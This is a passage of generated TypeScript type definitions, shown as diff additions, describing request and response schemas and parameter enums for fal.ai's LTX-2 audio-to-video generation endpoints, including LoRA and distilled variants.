inputFalAiLtx2322BAudioToVideoAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BAudioToVideoAccelerationEnumKey = + (typeof inputFalAiLtx2322BAudioToVideoAccelerationEnum)[keyof typeof inputFalAiLtx2322BAudioToVideoAccelerationEnum] + +export const inputFalAiLtx2322BAudioToVideoSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BAudioToVideoSchedulerEnumKey = + (typeof inputFalAiLtx2322BAudioToVideoSchedulerEnum)[keyof typeof inputFalAiLtx2322BAudioToVideoSchedulerEnum] + +export const inputFalAiLtx2322BAudioToVideoVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BAudioToVideoVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BAudioToVideoVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BAudioToVideoVideoOutputTypeEnum] + +export const inputFalAiLtx2322BAudioToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BAudioToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BAudioToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BAudioToVideoVideoWriteModeEnum] + +export const inputFalAiLtx2322BAudioToVideoVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BAudioToVideoVideoSizeKey = + (typeof inputFalAiLtx2322BAudioToVideoVideoSize)[keyof typeof inputFalAiLtx2322BAudioToVideoVideoSize] + +export const inputFalAiLtx2322BAudioToVideoCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BAudioToVideoCameraLoraEnumKey = + (typeof inputFalAiLtx2322BAudioToVideoCameraLoraEnum)[keyof typeof inputFalAiLtx2322BAudioToVideoCameraLoraEnum] + +export const inputFalAiLtx2322BAudioToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BAudioToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx2322BAudioToVideoVideoQualityEnum)[keyof typeof inputFalAiLtx2322BAudioToVideoVideoQualityEnum] + +export type InputFalAiLtx2322BAudioToVideo = { + /** + * @description Optional URL of an image to use as the first frame of the video. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltx-2-a2v-input-image.png + */ + image_url?: string | null + /** + * @description Audio conditioning strength. Values below 1.0 will allow the model to change the audio, while a value of exactly 1.0 will use the input audio without modification. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + audio_strength?: number + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The modality scale for the audio. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + audio_modality_scale?: number + /** + * @description The Classifier-Free Guidance (CFG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 1 + * @maximum 20 + * @default 3 + * @type number | undefined + */ + video_cfg_scale?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description When enabled, the number of frames will be calculated based on the audio duration and FPS. When disabled, use the specified num_frames. + * @default true + * @type boolean | undefined + */ + match_audio_length?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BAudioToVideoAccelerationEnumKey + /** + * @description The modality scale for the video. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + video_modality_scale?: number + /** + * @description Whether to preprocess the audio before using it as conditioning. + * @default true + * @type boolean | undefined + */ + preprocess_audio?: boolean + /** + * @description The rescaling scale for the video. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + video_rescaling_scale?: number + /** + * @description Whether to use restart sampling. This will inject a small amount of noise during each denoising step, which can help improve the quality of the generated video. + * @default false + * @type boolean | undefined + */ + use_restart_sampling?: boolean + /** + * @description The strength of the image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + image_strength?: number + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The number of inference steps to use. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BAudioToVideoSchedulerEnumKey + /** + * @description The strength of the end image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_image_strength?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + video_stg_scale?: number + /** + * @description The prompt to generate the video from. + * @example A woman speaks to the camera + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The Classifier-Free Guidance (CFG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 1 + * @maximum 20 + * @default 7 + * @type number | undefined + */ + audio_cfg_scale?: number + /** + * @description The rescaling scale for the audio. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + audio_rescaling_scale?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BAudioToVideoVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BAudioToVideoVideoWriteModeEnumKey + /** + * @description The scale of the distill LoRA to use for the first pass. Set to 0 to disable. + * @minimum 0 + * @maximum 1 + * @default 0.2 + * @type number | undefined + */ + distill_lora_first_pass_scale?: number + /** + * @description The size of the generated video. Use 'auto' to match the input image dimensions if provided. + * @default landscape_16_9 + */ + video_size?: ImageSize614F8A40 | InputFalAiLtx2322BAudioToVideoVideoSizeKey + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BAudioToVideoCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + audio_stg_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BAudioToVideoVideoQualityEnumKey + /** + * @description The URL of the audio to generate the video from. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltx-2-a2v-input-audio.mp3 + * @type string + */ + audio_url: string + /** + * @description The URL of the image to use as the end of the video. + */ + end_image_url?: string | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The gamma of gradient estimation during denoising. Set to 0 to disable. + * @minimum 0 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + gradient_estimation_gamma?: number +} + +export type VideoFileF0A191Ba = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BAudioToVideo = { + /** + * @description The generated video. + * @example {"file_name":"ltx-2-a2v-output.mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/ltx-2-a2v-output.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFileF0A191Ba + /** + * @description The prompt used for the generation. + * @example A woman speaks to the camera + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 175932751 + * @type integer + */ + seed: number +} + +export type ImageSizeFe8135Aa = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +/** + * @description LoRA weight configuration. + * @type object + */ +export type LoRAInput = { + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL, HuggingFace repo ID (owner/repo) to lora weights. + * @type string + */ + path: string + /** + * @description Name of the LoRA weight. Only used if `path` is a HuggingFace repository, and is only required when the repository contains multiple LoRA weights. + */ + weight_name?: string | null +} + +export const inputFalAiLtx2322BAudioToVideoLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BAudioToVideoLoraAccelerationEnumKey = + (typeof inputFalAiLtx2322BAudioToVideoLoraAccelerationEnum)[keyof typeof inputFalAiLtx2322BAudioToVideoLoraAccelerationEnum] + +export const inputFalAiLtx2322BAudioToVideoLoraSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BAudioToVideoLoraSchedulerEnumKey = + (typeof inputFalAiLtx2322BAudioToVideoLoraSchedulerEnum)[keyof typeof inputFalAiLtx2322BAudioToVideoLoraSchedulerEnum] + +export const inputFalAiLtx2322BAudioToVideoLoraVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BAudioToVideoLoraVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BAudioToVideoLoraVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BAudioToVideoLoraVideoOutputTypeEnum] + +export const inputFalAiLtx2322BAudioToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BAudioToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BAudioToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BAudioToVideoLoraVideoWriteModeEnum] + +export const inputFalAiLtx2322BAudioToVideoLoraVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BAudioToVideoLoraVideoSizeKey = + (typeof inputFalAiLtx2322BAudioToVideoLoraVideoSize)[keyof typeof inputFalAiLtx2322BAudioToVideoLoraVideoSize] + +export const inputFalAiLtx2322BAudioToVideoLoraCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BAudioToVideoLoraCameraLoraEnumKey = + (typeof inputFalAiLtx2322BAudioToVideoLoraCameraLoraEnum)[keyof typeof inputFalAiLtx2322BAudioToVideoLoraCameraLoraEnum] + +export const inputFalAiLtx2322BAudioToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BAudioToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx2322BAudioToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx2322BAudioToVideoLoraVideoQualityEnum] + +export type InputFalAiLtx2322BAudioToVideoLora = { + /** + * @description Optional URL of an image to use as the first frame of the video. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltx-2-a2v-input-image.png + */ + image_url?: string | null + /** + * @description Audio conditioning strength. Values below 1.0 will allow the model to change the audio, while a value of exactly 1.0 will use the input audio without modification. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + audio_strength?: number + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The modality scale for the audio. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + audio_modality_scale?: number + /** + * @description The Classifier-Free Guidance (CFG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 1 + * @maximum 20 + * @default 3 + * @type number | undefined + */ + video_cfg_scale?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description When enabled, the number of frames will be calculated based on the audio duration and FPS. When disabled, use the specified num_frames. + * @default true + * @type boolean | undefined + */ + match_audio_length?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BAudioToVideoLoraAccelerationEnumKey + /** + * @description The modality scale for the video. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + video_modality_scale?: number + /** + * @description Whether to preprocess the audio before using it as conditioning. + * @default true + * @type boolean | undefined + */ + preprocess_audio?: boolean + /** + * @description The rescaling scale for the video. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + video_rescaling_scale?: number + /** + * @description Whether to use restart sampling. This will inject a small amount of noise during each denoising step, which can help improve the quality of the generated video. + * @default false + * @type boolean | undefined + */ + use_restart_sampling?: boolean + /** + * @description The strength of the image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + image_strength?: number + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The number of inference steps to use. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BAudioToVideoLoraSchedulerEnumKey + /** + * @description The strength of the end image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_image_strength?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + video_stg_scale?: number + /** + * @description The prompt to generate the video from. + * @example A woman speaks to the camera + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The Classifier-Free Guidance (CFG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 1 + * @maximum 20 + * @default 7 + * @type number | undefined + */ + audio_cfg_scale?: number + /** + * @description The rescaling scale for the audio. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + audio_rescaling_scale?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BAudioToVideoLoraVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BAudioToVideoLoraVideoWriteModeEnumKey + /** + * @description The scale of the distill LoRA to use for the first pass. Set to 0 to disable. + * @minimum 0 + * @maximum 1 + * @default 0.2 + * @type number | undefined + */ + distill_lora_first_pass_scale?: number + /** + * @description The size of the generated video. Use 'auto' to match the input image dimensions if provided. + * @default landscape_16_9 + */ + video_size?: + | ImageSizeFe8135Aa + | InputFalAiLtx2322BAudioToVideoLoraVideoSizeKey + /** + * @description The LoRAs to use for the generation. + * @type array + */ + loras: LoRAInput[] + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BAudioToVideoLoraCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + audio_stg_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BAudioToVideoLoraVideoQualityEnumKey + /** + * @description The URL of the audio to generate the video from. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltx-2-a2v-input-audio.mp3 + * @type string + */ + audio_url: string + /** + * @description The URL of the image to use as the end of the video. + */ + end_image_url?: string | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The gamma of gradient estimation during denoising. Set to 0 to disable. + * @minimum 0 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + gradient_estimation_gamma?: number +} + +export type VideoFile76Bccfb5 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BAudioToVideoLora = { + /** + * @description The generated video. + * @example {"file_name":"ltx-2-a2v-output.mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/ltx-2-a2v-output.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFile76Bccfb5 + /** + * @description The prompt used for the generation. + * @example A woman speaks to the camera + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 175932751 + * @type integer + */ + seed: number +} + +export type ImageSize780D17A7 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BDistilledAudioToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BDistilledAudioToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoVideoWriteModeEnum] + +export const inputFalAiLtx2322BDistilledAudioToVideoAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BDistilledAudioToVideoAccelerationEnumKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoAccelerationEnum)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoAccelerationEnum] + +export const inputFalAiLtx2322BDistilledAudioToVideoVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BDistilledAudioToVideoVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoVideoOutputTypeEnum] + +export const inputFalAiLtx2322BDistilledAudioToVideoVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BDistilledAudioToVideoVideoSizeKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoVideoSize)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoVideoSize] + +export const inputFalAiLtx2322BDistilledAudioToVideoCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BDistilledAudioToVideoCameraLoraEnumKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoCameraLoraEnum)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoCameraLoraEnum] + +export const inputFalAiLtx2322BDistilledAudioToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BDistilledAudioToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoVideoQualityEnum)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoVideoQualityEnum] + +export const inputFalAiLtx2322BDistilledAudioToVideoSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BDistilledAudioToVideoSchedulerEnumKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoSchedulerEnum)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoSchedulerEnum] + +export type InputFalAiLtx2322BDistilledAudioToVideo = { + /** + * @description Audio conditioning strength. Values below 1.0 will allow the model to change the audio, while a value of exactly 1.0 will use the input audio without modification. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + audio_strength?: number + /** + * @description The prompt to generate the video from. + * @example A woman speaks to the camera + * @type string + */ + prompt: string + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Optional URL of an image to use as the first frame of the video. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltx-2-a2v-input-image.png + */ + image_url?: string | null + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BDistilledAudioToVideoVideoWriteModeEnumKey + /** + * @description The acceleration level to use. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BDistilledAudioToVideoAccelerationEnumKey + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BDistilledAudioToVideoVideoOutputTypeEnumKey + /** + * @description When enabled, the number of frames will be calculated based on the audio duration and FPS. When disabled, use the specified num_frames. + * @default true + * @type boolean | undefined + */ + match_audio_length?: boolean + /** + * @description The size of the generated video. Use 'auto' to match the input image dimensions if provided. + * @default landscape_16_9 + */ + video_size?: + | ImageSize780D17A7 + | InputFalAiLtx2322BDistilledAudioToVideoVideoSizeKey + /** + * @description Whether to preprocess the audio before using it as conditioning. + * @default true + * @type boolean | undefined + */ + preprocess_audio?: boolean + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BDistilledAudioToVideoCameraLoraEnumKey + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The URL of the image to use as the end of the video. + */ + end_image_url?: string | null + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BDistilledAudioToVideoVideoQualityEnumKey + /** + * @description The URL of the audio to generate the video from. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltx-2-a2v-input-audio.mp3 + * @type string + */ + audio_url: string + /** + * @description The strength of the image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + image_strength?: number + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BDistilledAudioToVideoSchedulerEnumKey + /** + * @description The strength of the end image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_image_strength?: number +} + +export type VideoFile6A26Bbf1 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BDistilledAudioToVideo = { + /** + * @description The generated video. + * @example {"file_name":"ltx-2-a2v-output.mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/ltx-2-a2v-output.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFile6A26Bbf1 + /** + * @description The prompt used for the generation. + * @example A woman speaks to the camera + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 175932751 + * @type integer + */ + seed: number +} + +export type ImageSize868205B7 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BDistilledAudioToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type 